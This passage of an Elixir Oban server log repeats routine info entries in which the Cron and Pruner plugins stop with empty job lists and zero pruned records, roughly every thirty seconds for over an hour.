{"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:07:16.980 [info] {"source":"oban","duration":752,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:07:46.981 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:08:00.712 [info] {"source":"oban","duration":227,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:08:16.982 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:08:46.983 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:09:00.714 [info] {"source":"oban","duration":380,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:09:16.984 [info] {"source":"oban","duration":716,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:09:46.985 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:10:00.714 [info] {"source":"oban","duration":179,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:10:16.986 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:10:46.987 [info] {"source":"oban","duration":850,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:11:00.716 [info] {"source":"oban","duration":402,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:11:16.989 [info] {"source":"oban","duration":689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:11:46.990 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:12:00.716 [info] {"source":"oban","duration":181,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:12:16.991 [info] {"source":"oban","duration":766,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:12:46.993 [info] {"source":"oban","duration":799,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:13:00.717 [info] {"source":"oban","duration":198,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:13:16.995 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:13:46.996 [info] {"source":"oban","duration":720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:14:00.718 [info] {"source":"oban","duration":252,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:14:16.997 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:14:46.998 [info] {"source":"oban","duration":711,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:15:00.719 [info] {"source":"oban","duration":193,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:15:16.999 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:15:47.000 [info] {"source":"oban","duration":689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:16:00.720 [info] {"source":"oban","duration":289,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:16:17.001 [info] {"source":"oban","duration":750,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:16:47.002 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:17:00.721 [info] {"source":"oban","duration":281,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:17:17.003 [info] {"source":"oban","duration":518,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:17:47.004 [info] {"source":"oban","duration":730,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:18:00.722 [info] {"source":"oban","duration":230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:18:17.005 [info] {"source":"oban","duration":752,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:18:47.007 [info] {"source":"oban","duration":796,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:19:00.723 [info] {"source":"oban","duration":171,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:19:17.008 [info] {"source":"oban","duration":633,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:19:47.009 [info] {"source":"oban","duration":626,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:20:00.724 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:20:17.010 [info] {"source":"oban","duration":630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:20:47.011 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:21:00.725 [info] {"source":"oban","duration":287,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:21:17.012 [info] {"source":"oban","duration":552,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:21:47.013 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:22:00.726 [info] {"source":"oban","duration":196,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:22:17.014 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:22:47.015 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:23:00.727 [info] {"source":"oban","duration":280,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:23:17.016 [info] {"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:23:47.017 [info] {"source":"oban","duration":696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:24:00.728 [info] {"source":"oban","duration":234,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:24:17.018 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:24:47.019 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:25:00.729 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:25:17.020 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:25:47.021 [info] {"source":"oban","duration":803,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:26:00.730 [info] {"source":"oban","duration":326,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:26:17.023 [info] {"source":"oban","duration":703,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:26:47.024 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:27:00.731 [info] {"source":"oban","duration":297,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:27:17.025 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:27:47.026 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:28:00.732 [info] {"source":"oban","duration":155,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:28:17.027 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:28:47.028 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:29:00.733 [info] {"source":"oban","duration":186,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:29:17.029 [info] {"source":"oban","duration":773,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:29:47.031 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:30:00.734 [info] {"source":"oban","duration":235,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:30:17.032 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:30:47.033 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:31:00.735 [info] {"source":"oban","duration":227,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:31:17.034 [info] {"source":"oban","duration":734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:31:47.035 [info] {"source":"oban","duration":643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:32:00.736 [info] {"source":"oban","duration":204,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:32:17.036 [info] {"source":"oban","duration":502,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:32:47.037 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:33:00.737 [info] {"source":"oban","duration":243,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:33:17.038 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:33:47.039 [info] {"source":"oban","duration":705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:34:00.738 [info] {"source":"oban","duration":195,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:34:17.041 [info] {"source":"oban","duration":639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:34:47.042 [info] {"source":"oban","duration":841,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:35:00.739 [info] {"source":"oban","duration":242,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:35:17.044 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:35:47.045 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:36:00.740 [info] {"source":"oban","duration":179,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:36:17.046 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:36:47.047 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:37:00.742 [info] {"source":"oban","duration":364,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:37:17.048 [info] {"source":"oban","duration":847,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:37:47.050 [info] {"source":"oban","duration":691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:38:00.742 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:38:17.051 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:38:47.052 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:39:00.743 [info] {"source":"oban","duration":259,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:39:17.053 [info] {"source":"oban","duration":729,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:39:47.054 [info] {"source":"oban","duration":705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:40:00.744 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:40:17.055 [info] {"source":"oban","duration":617,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:40:47.056 [info] {"source":"oban","duration":750,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:41:00.745 [info] {"source":"oban","duration":256,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:41:17.057 [info] {"source":"oban","duration":747,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:41:47.058 [info] {"source":"oban","duration":735,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:42:00.746 [info] {"source":"oban","duration":227,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:42:17.059 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:42:47.060 [info] {"source":"oban","duration":783,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:43:00.747 [info] {"source":"oban","duration":166,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:43:17.062 [info] {"source":"oban","duration":696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:43:47.063 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:44:00.748 [info] {"source":"oban","duration":188,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:44:17.064 [info] {"source":"oban","duration":573,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:44:47.065 [info] {"source":"oban","duration":570,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:45:00.749 [info] {"source":"oban","duration":309,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:45:17.066 [info] {"source":"oban","duration":711,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:45:47.067 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:46:00.750 [info] {"source":"oban","duration":295,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:46:17.068 [info] {"source":"oban","duration":585,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:46:47.069 [info] {"source":"oban","duration":703,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:47:00.751 [info] {"source":"oban","duration":180,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:47:17.070 [info] {"source":"oban","duration":700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:47:47.071 [info] {"source":"oban","duration":710,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:48:00.752 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:48:17.072 [info] {"source":"oban","duration":708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:48:47.073 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:49:00.753 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:49:17.074 [info] {"source":"oban","duration":765,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:49:47.076 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:50:00.754 [info] {"source":"oban","duration":230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:50:17.077 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:50:47.078 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:51:00.755 [info] {"source":"oban","duration":281,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:51:17.080 [info] {"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:51:47.081 [info] {"source":"oban","duration":717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:52:00.756 [info] {"source":"oban","duration":212,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:52:17.082 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:52:47.083 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:53:00.757 [info] {"source":"oban","duration":250,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:53:17.084 [info] {"source":"oban","duration":834,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:53:47.086 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:54:00.758 [info] {"source":"oban","duration":204,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:54:17.087 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:54:47.088 [info] {"source":"oban","duration":726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:55:00.759 [info] {"source":"oban","duration":162,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:55:17.089 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:55:47.090 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:56:00.760 [info] {"source":"oban","duration":234,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:56:17.091 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:56:47.092 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:57:00.762 [info] {"source":"oban","duration":384,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:57:17.093 [info] {"source":"oban","duration":720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:57:47.094 [info] {"source":"oban","duration":768,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:58:00.762 [info] {"source":"oban","duration":339,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:58:17.096 [info] {"source":"oban","duration":862,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:58:47.098 [info] {"source":"oban","duration":587,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:59:00.764 [info] {"source":"oban","duration":421,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:59:17.099 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:59:47.100 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:00:00.764 [info] {"source":"oban","duration":244,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:00:17.101 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:00:47.102 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:01:00.765 [info] {"source":"oban","duration":202,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:01:17.103 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:01:47.104 [info] {"source":"oban","duration":826,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:02:00.766 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:02:17.105 [info] {"source":"oban","duration":819,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:02:47.107 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:03:00.767 [info] {"source":"oban","duration":297,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:03:17.108 [info] {"source":"oban","duration":736,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:03:47.109 [info] {"source":"oban","duration":713,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:04:00.768 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:04:17.110 [info] {"source":"oban","duration":591,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:04:47.111 [info] {"source":"oban","duration":793,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:05:00.769 [info] {"source":"oban","duration":250,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:05:17.113 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:05:47.114 [info] {"source":"oban","duration":715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:06:00.770 [info] {"source":"oban","duration":333,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:06:17.115 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:06:47.116 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:07:00.772 [info] {"source":"oban","duration":410,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:07:17.117 [info] {"source":"oban","duration":779,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:07:47.119 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:08:00.772 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:08:17.120 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:08:47.121 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:09:00.773 [info] {"source":"oban","duration":326,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:09:17.122 [info] {"source":"oban","duration":862,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:09:47.124 [info] {"source":"oban","duration":697,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:10:00.774 [info] {"source":"oban","duration":239,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:10:17.125 [info] {"source":"oban","duration":691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:10:47.126 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:11:00.775 [info] {"source":"oban","duration":199,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:11:17.127 [info] {"source":"oban","duration":774,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:11:47.129 [info] {"source":"oban","duration":603,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:12:00.776 [info] {"source":"oban","duration":159,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:12:17.130 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:12:47.131 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:13:00.777 [info] {"source":"oban","duration":146,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:13:17.132 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:13:47.133 [info] {"source":"oban","duration":851,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:14:00.778 [info] {"source":"oban","duration":351,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:14:17.135 [info] {"source":"oban","duration":573,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:14:47.136 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:15:00.779 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:15:17.137 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:15:47.138 [info] {"source":"oban","duration":637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:16:00.780 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:16:17.139 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:16:47.140 [info] {"source":"oban","duration":696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:17:00.781 [info] {"source":"oban","duration":285,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:17:17.141 [info] {"source":"oban","duration":767,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:17:47.143 [info] {"source":"oban","duration":583,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:18:00.783 [info] {"source":"oban","duration":348,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:18:17.144 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:18:47.145 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:19:00.783 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:19:17.146 [info] {"source":"oban","duration":756,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:19:47.148 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:20:00.784 [info] {"source":"oban","duration":237,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:20:17.149 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:20:47.150 [info] {"source":"oban","duration":792,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:21:00.785 [info] {"source":"oban","duration":281,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:21:17.152 [info] {"source":"oban","duration":807,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:21:47.153 [info] {"source":"oban","duration":710,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:22:00.787 [info] {"source":"oban","duration":352,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:22:17.154 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:22:47.155 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:23:00.787 [info] {"source":"oban","duration":165,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:23:17.156 [info] {"source":"oban","duration":747,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:23:47.157 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:24:00.788 [info] {"source":"oban","duration":239,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:24:17.158 [info] {"source":"oban","duration":614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:24:47.159 [info] {"source":"oban","duration":589,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:25:00.789 [info] {"source":"oban","duration":252,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:25:17.160 [info] {"source":"oban","duration":604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:25:47.161 [info] {"source":"oban","duration":705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:26:00.790 [info] {"source":"oban","duration":165,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:26:17.162 [info] {"source":"oban","duration":779,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:26:47.164 [info] 